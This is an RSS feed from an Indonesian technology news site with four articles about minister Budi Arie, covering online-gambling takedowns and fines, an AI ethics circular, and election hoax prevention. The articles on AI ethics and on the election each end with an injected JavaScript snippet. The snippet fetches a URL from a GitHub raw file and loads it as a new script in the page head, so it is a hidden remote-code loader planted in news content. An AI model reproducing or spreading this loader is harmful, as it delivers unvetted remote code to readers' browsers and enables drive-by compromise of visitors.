<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>budi arie &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/budi-arie/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Sun, 26 May 2024 09:37:53 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>budi arie &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Beri Peringatan Keras Platform Digital, Menkominfo: Denda Rp500 Juta!</title>
		<link>https://nativzen.com/2024/05/26/beri-peringatan-keras-platform-digital-menkominfo-denda-rp500-juta/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sun, 26 May 2024 09:36:40 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[budi arie]]></category>
		<category><![CDATA[judi online]]></category>
		<category><![CDATA[menkominfo]]></category>
		<category><![CDATA[platform digital]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=7902</guid>

					<description><![CDATA[Peringatan keras dikeluarkan oleh Menteri Komunikasi dan Informatika RI, Budi Arie kepada penyelenggara platform digital di Indonesia.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Peringatan keras dikeluarkan oleh Menteri Komunikasi dan Informatika RI, Budi Arie kepada penyelenggara platform digital di Indonesia yang tidak mengikuti pemerintah dalam memberantas konten judi online.</p>



<p>&#8220;Hari ini saya ingin menyampaikan hal penting, yakni peringatan keras kepada seluruh pengelola platform digital, seperti X, Telegram, Google, Meta, dan Tiktok,&#8221; tegasnya dalam Konferensi Pers Judi Online yang berlangsung secara virtual dari Jakarta Selatan, Jumat (24/05).</p>



<p>Berdasarkan pemantauan Kementerian Kominfo, Menteri Budi Arie menyatakan masih terdapat banyak konten dengan kata kunci atau keyword terkait judi online. Menurutnya, sejak 7 November 2023 hingga 22 Mei 2024, di Google ditemukenali sebanyak 20.241 kata kunci. </p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="683" src="https://nativzen.com/wp-content/uploads/2024/05/123823-1024x683.jpg" alt="" class="wp-image-7903" srcset="https://nativzen.com/wp-content/uploads/2024/05/123823-1024x683.jpg 1024w, https://nativzen.com/wp-content/uploads/2024/05/123823-300x200.jpg 300w, https://nativzen.com/wp-content/uploads/2024/05/123823-768x513.jpg 768w, https://nativzen.com/wp-content/uploads/2024/05/123823-370x247.jpg 370w, https://nativzen.com/wp-content/uploads/2024/05/123823-270x180.jpg 270w, https://nativzen.com/wp-content/uploads/2024/05/123823-570x380.jpg 570w, https://nativzen.com/wp-content/uploads/2024/05/123823-740x494.jpg 740w, https://nativzen.com/wp-content/uploads/2024/05/123823.jpg 1500w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Sementara di Meta 2.702 keyword, sejak 15 Desember 2022 hingga 22 Mei 2024. Sebagai gambaran, Budi Arie juga menyebutkan bahwa 10 besar keyword terkait judi online dalam seminggu terakhir adalah live slot, rtp slot, no limit, situs slot, slot gacor, dan masih banyak lagi.</p>



<p>Oleh karena itu, Menkominfo secara tegas dan terbuka menekankan akan mendenda penyelenggara platform digital sebesar Rp 500 Juta jika masih membiarkan konten judi online tersebar di platform digital.</p>



<p>&#8220;Jika tidak kooperatif untuk memberantas judi online di platform yang dimiliki, maka saya akan mengenakan denda sampai dengan 500 juta rupiah per konten. Saya ulangi, saya akan denda sampai dengan 500 juta rupiah per konten,&#8221; tandasnya.</p>



<p>Menurut Menteri Budi Arie, langkah itu diambil sesuai dengan regulasi yang telah berlaku di Indonesia yaitu Undang-undang No. 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik serta ketentuan perubahan dan Peraturan Menteri Kominfo Nomor 5 Tahun 2020.</p>



<p>&#8220;Denda kepada platform digital dikenakan sesuai dengan Peraturan Pemerintah Nomor 43 Tahun 2023 tentang Jenis dan Tarif Atas Jenis Penerimaan Negara Bukan Pajak (PNBP) yang berlaku pada Kementerian Kominfo,&#8221; tuturnya.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Kominfo Tangani Hampir 10 Ribu Konten Judi Online Tiap Hari</title>
		<link>https://nativzen.com/2024/05/25/kominfo-tangani-hampir-10-ribu-konten-judi-online-tiap-hari/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sat, 25 May 2024 05:16:05 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[budi arie]]></category>
		<category><![CDATA[judi online]]></category>
		<category><![CDATA[kominfo]]></category>
		<category><![CDATA[menkominfo]]></category>
		<category><![CDATA[menteri budi arie]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=7866</guid>

					<description><![CDATA[Kemenkominfo RI, Budi Arie berupaya untuk memberantas judi online dengan memutus akses konten dalam platform digital dan website.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Judi online semakin meresahkan, dan membuat banyak kerugian. Karena itu, Kementerian Komunikasi dan Informatika RI berupaya untuk memberantas judi online dengan memutus akses konten dalam platform digital dan website.</p>



<p>Seperti dikatakan oleh Menkominfo Budi Arie Setiadi yang berberbicara di hadapan sejumlah media di Jakarta, (22/05) bahwa hingga tanggal 21 Mei 2024 sudah terdapat hampir dua juta konten judi online yang ditangani.</p>



<p>“Pemerintah berkomitmen melakukan pemberantasan judi online dari sumbernya. Kominfo men-takedown 1.904.246 konten sepanjang 17 Juli 2023 hingga 21 Mei 2024,” tegasnya&nbsp;usai mengikuti Rapat Internal Lanjutan Pembahasan Pemberantasan Judi Online&nbsp;di Istana Merdeka.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="537" src="https://nativzen.com/wp-content/uploads/2024/05/kominfo-menteri-budi-arie-satgas-judi-online-AYH2.jpeg" alt="" class="wp-image-7868" srcset="https://nativzen.com/wp-content/uploads/2024/05/kominfo-menteri-budi-arie-satgas-judi-online-AYH2.jpeg 800w, https://nativzen.com/wp-content/uploads/2024/05/kominfo-menteri-budi-arie-satgas-judi-online-AYH2-300x201.jpeg 300w, https://nativzen.com/wp-content/uploads/2024/05/kominfo-menteri-budi-arie-satgas-judi-online-AYH2-768x516.jpeg 768w, https://nativzen.com/wp-content/uploads/2024/05/kominfo-menteri-budi-arie-satgas-judi-online-AYH2-370x248.jpeg 370w, https://nativzen.com/wp-content/uploads/2024/05/kominfo-menteri-budi-arie-satgas-judi-online-AYH2-270x181.jpeg 270w, https://nativzen.com/wp-content/uploads/2024/05/kominfo-menteri-budi-arie-satgas-judi-online-AYH2-570x383.jpeg 570w, https://nativzen.com/wp-content/uploads/2024/05/kominfo-menteri-budi-arie-satgas-judi-online-AYH2-740x497.jpeg 740w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Menteri Budi Arie juga menyatakan bahwa selama satu bulan sejak Rapat Pemberantasan Judi Online pada tanggal 19 April 2024 hingga 21 Mei 2024, Kementerian Kominfo menangani sebanyak 290.850 konten judi online yang tersebar di berbagai platform digital.</p>



<p>“Kurang lebih satu bulan sejak rapat judi online terakhir kali, Kominfo sudah hampir men-takedown 290.850 konten terkait judi online. Hampir 300.000, jadi sehari bisa mendekati 10.000 konten judi online,” tandasnya.</p>



<p>Masih menurut Menkominfo,&nbsp;&nbsp;penanganan konten judi online di platform digital dilakukan berdasarkan kata kunci atau keyword. Selanjutnya, bekerja sama dengan penyelenggara platform digital, Kementerian Kominfo memutus akses terhadap konten judi online yang ditemukan.</p>



<p>“Kita terus melakukan kordinasi dengan semua platform digital seperti Google dan Meta, dimana perubahan keyword terjadi. Di Google ada 20.241 keyword, sedangkan 2.637 keyword baru ditemukenali pada platform Meta,” tuturnya.&nbsp;</p>



<p>Lebih lanjut, Menteri Budi Arie juga menyatakan bahwa Kementerian Kominfo tak segan memberikan teguran kembali kepada platform seperti TikTok, Google, dan Meta jika masih ditemukenali konten judi online di platform digital.</p>



<p>“Sebelumnya, kita sudah lakukan semua penyampaian teguran kepada TikTok, Google, Meta, semuanya. Selain itu, Kementerian Kominfo juga telah menangani konten phising yang masuk ke dalam situs lembaga pendidikan dan pemerintahan,&#8221; tambahnya</p>



<p>Kementerian Kominfo telah mencatat bahwa ada sebanyak 14.823 konten judi online yang menyisipi di website lembaga pendidikan. Sementara, pada website lembaga pemerintahan, Budi Arie menyebutkan ada sebanyak 17.001 temuan konten.</p>



<p>Menteri Budi Arie juga menyatakan sebanyak 5.364 rekening bank telah diblokir dan sudah diajukan ke Otoritas Jasa Keuangan (OJK). Selain itu, sebanyak 555 e-wallet yang terafiliasi judi online juga sudah diajukan pemblokiran rekening ke Bank Indonesia.</p>



<p>&#8220;Pemberantasan judi online oleh Menkominfo tentunya dilakukan secara komprehensif sesuai arahan Presiden Joko Widodo.&nbsp;Tolok ukurnya di PPATK, jika transaksinya masih tinggi, maka judi online di masyarakat masih eksis,&#8221; ujarnya.</p>



<p>Oleh karena itu, Pemerintah segera membentuk satuan tugas agar bisa menangani judi onlline secara sistematis. Secara khusus, Menteri Budi Arie menekankan kembali tugas Kementerian Kominfo untuk menangani dari sisi hulu, dengan memberantas konten judi online.</p>



<p>“Kami terus memburu supaya pemberantasan judi online di tingkat hulu ini dapat kita selesaikan. Ya macam-macam, password, keyword, ini kan canggih karena yang kita hadapi adalah hantu kekinian,” pungkasnya.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Menkominfo RI Keluarkan Surat Edaran Etika Pemanfaatan AI</title>
		<link>https://nativzen.com/2023/12/24/menkominfo-ri-keluarkan-surat-edaran-pemanfaatan-ai/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sun, 24 Dec 2023 08:55:11 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[TREN & LIFESTYLE]]></category>
		<category><![CDATA[artificial intelligence]]></category>
		<category><![CDATA[budi arie]]></category>
		<category><![CDATA[kecerdasan artifisial]]></category>
		<category><![CDATA[kecerdasan buatan]]></category>
		<category><![CDATA[menkominfo]]></category>
		<category><![CDATA[teknologi ai]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=2097</guid>

					<description><![CDATA[Terkait dengan penggunaan dan pemanfaatan AI, Kementerian Kominfo RI telah mengeluarkan Surat Edaran Nomor 9 Tahun 2023 tentang Etika Kecerdasan Artifisial.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Kecerdasan buatan atau yang sering disebut artificial intelligence (AI) terus berkembang pesat. Sejumlah raksasa teknologi, seperti Microsoft, OpenAI, Google dan sebagainya telah berlomba-lomba untuk menjadikan teknologi tersebut menuju sempurna.</p>



<p>Ya! Dibuat menuju sempurna, teknologi AI ini juga telah membantu banyak kemudahan bagi umat manusia. Meski begitu, tak sedikit yang khawatir bahwa teknologi ini juga bakal mengancam kemampuan yang dimiliki oleh manusia.</p>



<p>Di Indonesia sendiri, kecerdasan buatan alias AI juga telah banyak diadopsi oleh sejumlah perusahaan. Contoh yang paling sederhana, kini teknologi tersebut secara perlahan-lahan telah menggantikan peranan customer service.</p>



<p>Nah! Terkait dengan penggunaan dan pemanfaatan AI, baru-baru ini Kementerian Komunikasi dan Informatika telah mengeluarkan Surat Edaran Nomor 9 Tahun 2023 tentang Etika Kecerdasan Artifisial yang ditandatangani pada tanggal 19 Desember 2023.</p>



<p>Surat Edaran yang dikeluarkan langsung oleh Menteri Komunikasi dan Informatika Budi Arie Setiadi ini memuat tiga kebijakan yaitu nilai etika, pelaksanaan nilai etika dan tanggung jawab dalam pemanfaatan serta pengembangan kecerdasan artifisial.</p>



<p>â€œSurat edaran ini kami tujukan kepada pelaku usaha aktivitas pemrograman berbasis kecerdasan artifisial pada Penyelenggara Sistem Elektronik (PSE) lingkup publik dan privat,â€ jelas Budi Arie dalam Konferensi Pers Penerbitan SE AI, di Jakarta, (22/12).</p>



<p>Dijelaskan lebih lanjut, mengenai kebijakan nilai etika AI, SE Menkominfo Nomor 9 Tahun 2023 itu juga menegaskan nilai inklusivitas, aksesibilitas, keamanan, kemanusiaan, serta, kredibilitas dan akuntabilitas dalam pemanfaatan AI.</p>



<p>Berkaitan dengan kebijakan pelaksanaan nilai etika AI, PSE lingkup publik dan privat melaksanakan nilai etika melalui tiga pendekatan utama, yakni:</p>



<ol>
<li>Penyelenggaraan AI sebagai pendukung aktivitas manusia khususnya untuk meningkatkan kreativitas dalam menyelesaikan permasalahan dan pekerjaan. </li>



<li>Penyelenggara harus bisa menjaga privasi dan data sehingga tidak ada individu yang dirugikan.</li>



<li>Pengawasan pemanfatan untuk mencegah penyalahgunaan AI oleh pemerintah, penyelenggara, dan pengguna.</li>
</ol>



<p>Adapun kebijakan tentang tanggung jawab dalam pemanfaatan dan pengembangan AI, PSE lingkup publik dan privat harus mewujudkan melalui tiga cara, yakni:</p>



<ol>
<li>Memastikan AI tidak diselenggarakan sebagai penentu kebijakan dan/atau pengambil keputusan yang menyangkut kemanusiaan. </li>



<li>Memberikan informasi yang berkaitan dengan pengembangan teknologi berbasis kecerdasan artifisial oleh pengembang untuk mencegah dampak negatif dan kerugian dari teknologi yang dihasilkan.</li>



<li>Memperhatikan manajemen risiko dan manajemen krisis dalam pengembangan AI.&nbsp;</li>
</ol>



<p>&#8220;Surat edaran tersebut merupakan bentuk respons atas pemanfaatan AI yang makin pesat dalam kehidupan sehari-hari. Oleh karena itu, kami mengharapkan PSE dapat menjadikan surat edaran ini sebagai pedoman etika dalam pengembangan dan pemanfaatan AI,&#8221; pungkas Budi Arie.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Cegah Hoaks, Budi Arie Minta Platform Digital Bangun Posko Siaga Pemilu</title>
		<link>https://nativzen.com/2023/11/17/cegah-hoaks-budi-arie-minta-platform-digital-bangun-posko-siaga-pemilu/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Fri, 17 Nov 2023 10:30:08 +0000</pubDate>
				<category><![CDATA[Apps & OS]]></category>
		<category><![CDATA[NEWS]]></category>
		<category><![CDATA[budi arie]]></category>
		<category><![CDATA[cegah hoaks]]></category>
		<category><![CDATA[menkominfo]]></category>
		<category><![CDATA[pemilu 2024]]></category>
		<category><![CDATA[platform digital]]></category>
		<category><![CDATA[posko pemilu]]></category>
		<guid isPermaLink="false">http://nativzen.com/?p=909</guid>

					<description><![CDATA[Budi Arie menilai bahwa keberadaan posko tersebut akan memiliki manfaat sebagai sarana koordinasi untuk menghalau hoaks dan segala bentuk konten negatif.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Komisi Pemilihan Umum (KPU) telah mengumumkan bahwa kampanye Pemilu 2024 dimulai pada 28 November 2024. Terkait dengan hal itu, Kementerian Komunikasi dan Informatika terus mengajak untuk mewujudkan Pemilu 2024 yang damai.Â </p>



<p>Ajakan ini disampaikan langsung oleh Menkominfo Budi Arie Setiadi kepada penyelenggara platform digital di Tanah Air saat membuka Seminar dan Workshop Lawan Misinformasi untuk Pemilu Sehat Kota Bandung secara online dari Jakarta Pusat, Kamis (16/11/2023).</p>



<p>&#8220;Secara khusus pada kesempatan ini saya meminta kepada WhatsApp dan Meta untuk mencurahkan energi lebih dan sumber daya secara optimal untuk menjaga ruang digital dengan membuat Posko Siaga Pemilu Meta,&#8221;Â ungkap Budi Arie.Â </p>



<p>Budi Arie menilai bahwa keberadaan posko tersebut akan memiliki manfaat sebagai sarana koordinasi untuk menghalau hoaks dan segala bentuk konten negatif yang dilarang sesuai peraturan perundang-undangan yang berlaku.Â </p>



<p>&#8220;Posko akan beroperasi 24 jam non stop sepanjang masa Pemilu. Jika memungkinkan, saya minta Meta membuat posko ini di Kantor Kominfo agar koordinasi kita bisa lebih cepat dan gesit. Ini salah satu cara untuk menciptakan Pemilu 2024 yang damai,&#8221; tambah Budi Arie.</p>



<p>Sebagai platform media komunikasi yang efektif di era transfer informasi yang begitu cepat, Menkominfo menegaskan posisi dan peran media sosial penting sebagai sumber informasi dan media komunikasi, terlebih di masa Pemilu serentak mendatang.&nbsp;</p>



<p>â€œDibalik potensi pemanfaatan tersebut, ada ancaman information disorder, cyberbulling, hate space, serta kesenjangan akses terhadap informasi perlu kita tangani dan antisipasi bersama-sama. Tantangan-tantangan di ruang digital di masa Pemilu juga semakin nyata,&#8221; pungkasnya.</p>



<p>Selain Menkominfo yang hadir virtual, kegiatanÂ Workshop dan Seminar iniÂ dihadiri secara langsung Ketua Bawaslu RI Rahmat Bagja, Plh Asisten Administrasi Umum Pemprov Jawa Barat Hening Widiatmoko, serta Manager Kebijakan Publik WhatsApp Indonesia Esther Samboh.Â </p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
